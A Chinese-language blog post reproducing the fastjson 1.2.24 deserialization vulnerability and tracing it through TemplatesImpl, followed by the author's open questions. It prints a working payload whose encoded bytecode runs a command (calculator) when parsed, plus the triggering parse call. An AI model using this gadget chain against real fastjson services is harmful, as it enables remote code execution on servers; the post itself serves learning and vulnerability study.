美文网首页程序员
fastjson漏洞复现以及几个问题

fastjson漏洞复现以及几个问题

作者: xiongmao_123 | 来源:发表于2020-10-02 20:07 被阅读0次

比较久前,得知平时有些技术员使用的json解析库fastjson被爆出了漏洞。初略看看了些文章,饶有兴趣,想弄明白里边是怎么回事。以及常说的漏洞,是怎么一回事。所以去探索了、实验了下,基本满足了我的好奇心,以及留下了几个疑问。

所以,首先我们来复现下。
引入该库特定版本:compile 'com.alibaba:fastjson:1.2.24'
查看下我的java版本 java -version,显示 java version "1.8.0_211"

OK,从网上找的payload,这个为啥在安全界叫payload呢?不懂?就是我们常说的json字符串。

{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

其中_bytecodes的值就是java字节码,就是自己构造的入侵类。大概的写法是:

public class AClass {
    public AClass() {
        // 运行计算器程序或执行其他命令
    }
}

然后,直接执行JSON解析,

JSON.parse(json, Feature.SupportNonPublicField);

没错了,计算器被顺利调用起来了!

根据参考文章的分析,说下我的理解以及代码试验。
理解为什么会调用起计算机的计算器应用,需要理解下面的几个点。

  1. fastjson解析字符串并赋值到实体类的时候,会调用 get 方法。重点
    代码试验下,新建一个 UserBean实体类,在 get方法中打印下日志。

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        System.out.println("getName()");
        return name;
    }

从运行结果上看,果然,get方法日志顺利打印出来了。

这里引入第一个疑问,fastjson为什么要调用(反射调用?)get方法,按我的理解,解析直接赋值成员变量嘛,又调用实体类的 get方法做什么用呢?

  1. 就是说,fastjson会解析的时候会调用get方法。那么,我们想一想这种可能性。要是java类库中,存在以 getXXX 开头的 public方法,而这个方法又在某种情况下,可以初始化一个类,更巧的是,这个类还可以由我们指定。怎么会有这么巧的事,这么奇怪的类呢?从结果反推分析,
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    这个类就刚好满足。
    按这个思路我们分析查看下 TemplatesImpl 的相关逻辑代码。
    public synchronized Properties getOutputProperties() {
        try {
            return this.newTransformer().getOutputProperties();
        } catch (TransformerConfigurationException var2) {
            return null;
        }
    }

没错,有 getOutputProperties get方法,我们跟踪进去看下做了什么?我们直接跟到这里,

   private Translet getTransletInstance() throws TransformerConfigurationException {
       ErrorMsg err;
       try {
           if (this._name == null) {
               return null;
           } else {
               if (this._class == null) {
                   this.defineTransletClasses();
               }

               AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
               translet.postInitialization();
               translet.setTemplates(this);
               translet.setServicesMechnism(this._useServicesMechanism);
               translet.setAllowedProtocols(this._accessExternalStylesheet);
               if (this._auxClasses != null) {
                   translet.setAuxiliaryClasses(this._auxClasses);
               }

               return translet;
           }
       } catch (InstantiationException var3) {
           err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
           throw new TransformerConfigurationException(err.toString());
       } catch (IllegalAccessException var4) {
           err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
           throw new TransformerConfigurationException(err.toString());
       }
   }

可以看这一句代码,

AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();

它这里对某些class进行了实例化。根据里边的代码具体分析,它会把 _bytecodes 这个成员变量的值,作为java字节码,通过loader.defineClass加载进来。而_bytecodes 可以由我们指定(fastjson会对_bytecodes进行赋值)。

至此,整个流程执行完了。要是有人恶意构造请求,服务器就被入侵了。

这里引入我的第二个疑问,这个这么奇怪的类TemplatesImpl是做什么的,而且这个类的包名com.sun.org.apache.xalan.internal.xsltc.trax也是奇奇怪怪的,包名一般是顶级域名倒过来写,这个前面先是com.sunsun公司的,然后又是org.apacheapache组织的。很怪,搜索看看有没什么发现。

嗯,搜索半天,没有什么重大发现。连蒙带猜,说下这个包名我的理解。
首先看,com.sun.org.apache.xalanxalan是apache机构的一个项目,大概是XML转换相关的。

引用官网说明:
http://xml.apache.org/xalan-j/#moreinfo

Xalan-Java is an XSLT processor for transforming XML documents into HTML, text, or other XML document types. It implements XSL Transformations (XSLT) Version 1.0 and XML Path Language (XPath) Version 1.0 and can be used from the command line, in an applet or a servlet, or as a module in other program.

所以这个是apache组织的,用 org.apache无可厚非。那为什么又在前面加上com.sun,应该是sun公司或oracle公司觉得这个项目不错,然后fork了一份,作为自己的jdk的一部分。纯属我无根据瞎说。 不过stackover好像有人这样回答:

https://stackoverflow.com/questions/2791372/is-com-sun-org-apache-same-as-org-apache-package

https://stackoverflow.com/questions/27236082/what-is-the-purpose-of-com-sun-org-apache-xpath-internal-operations-string#

It is a very bad idea to use it. Once upon a time, Sun took a copy of Xerces, chock full of bugs. They made some changes. Perhaps they subtracted some bugs. We know that there are many very serious bugs that they did not subtract.
And they renamed it to com.sun.... for one reason: to tell you not to use it. At any time, in any point release, in any patch, they can change those classes incompatibly or remove them.
Further, these classes may not be in IBM's copy of the JRE, or Apple's, or (haha) Microsoft's, or JRocket.
If you want Xerces, use Xerces. To find information about this, read the Xerces-j mailing list archive for many stern warnings from the Xerces developers about the version forked by Sun.
The fact that the classes are formally 'public' means nothing except that Sun needed to be able to new them from some other package.

嗯,这个疑问就八卦到这里,也算多少有个交代。

到这里,我有第三个疑问和设想,就是有没有其它的类,在 set方法和get方法时,会出现这种问题呢?或者换一种思路,有没有其它的库,存在这个问题呢?只要满足这个条件就会触发。

从网上资料也可知,JdbcRowSetImpl这个类是满足条件的一个类,我没具体确认是否正是这种路径的漏洞。可以试想看看,或具体搜索看看,有没有其它的类库,或者这类BUG有什么统一的名字吗?以后随缘继续了解下。
第二个问题,gson, jackjson,这类的解析库会存在这个问题吗?不清楚,工作方法可能不尽相同。

还有第四个问题,就是从接触下来,这个漏洞大概不是新类型的,不是新发现独特的,那么根据经验来说,以及fastjson现在的广泛部署来说,原本应该是属于必测的TestCase吧?是不是有好心人整理份手册说,哪些漏洞是出现过的,然后基本可以成为类库开发者的必测case呢?前车之鉴,可以为师嘛。

好吧,就记录这么多吧,也在复现过程中新学了,以及多理解了一些java知识,以及非java知识。

参考:

  1. Fastjson 反序列化漏洞史
  2. 其他博文

相关文章

  • fastjson漏洞复现以及几个问题

    比较久前,得知平时有些技术员使用的json解析库fastjson被爆出了漏洞。初略看看了些文章,饶有兴趣,想弄明白...

  • Fastjson Remote Command Executio

    影响版本 Fastjson1.2.47以及之前的版本 复现步骤 使用vulhub打开存在漏洞的页面 新建一个Tou...

  • fastjson反序列化漏洞复现

    fastjson反序列化漏洞复现 详细描述 fastjson提供了autotype功能,在请求过程中,我们可以在请...

  • fastjson反序列化复现

    fastjson反序列化复现 最近复现一些java方面的漏洞,之前护网杯遇到过一次fastjson反序列化利用的题...

  • 红队打点-java 漏洞(二)

    前言 实际打点过程中遇到大量java网站,对遇到的相关漏洞进行复现和整理。 Fastjson 反序列化 漏洞简介 ...

  • Fastjson远程命令执行漏洞复现

    最近学长找到我,说甲方公司最近可能出现一些安全隐患,因为该公司的接口平台使用的是fastjson,让我先本地复现一...

  • 初识Fastjson漏洞(环境搭建及漏洞复现)

    目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,...

  • 脏牛漏洞安卓复现

    脏牛漏洞安卓复现 最近花了一些时间研究如何在Android系统上复现脏牛漏洞以及如何利用脏牛漏洞实现应用的静默安装...

  • Fastjson漏洞解决方案探讨

    漏洞介绍 近日, fastjson出现高危远程代码执行漏洞,该漏洞是fastjson于2017年爆出的远程代码执行...

  • fastjson反序列化漏洞复现

    0x00前言 fastjson是阿里的开源JSON解析库,被爆出两个远程命令执行漏洞,为2017年1.2.24版本...

网友评论

    本文标题:fastjson漏洞复现以及几个问题

    本文链接:https://www.haomeiwen.com/subject/tbkbuktx.html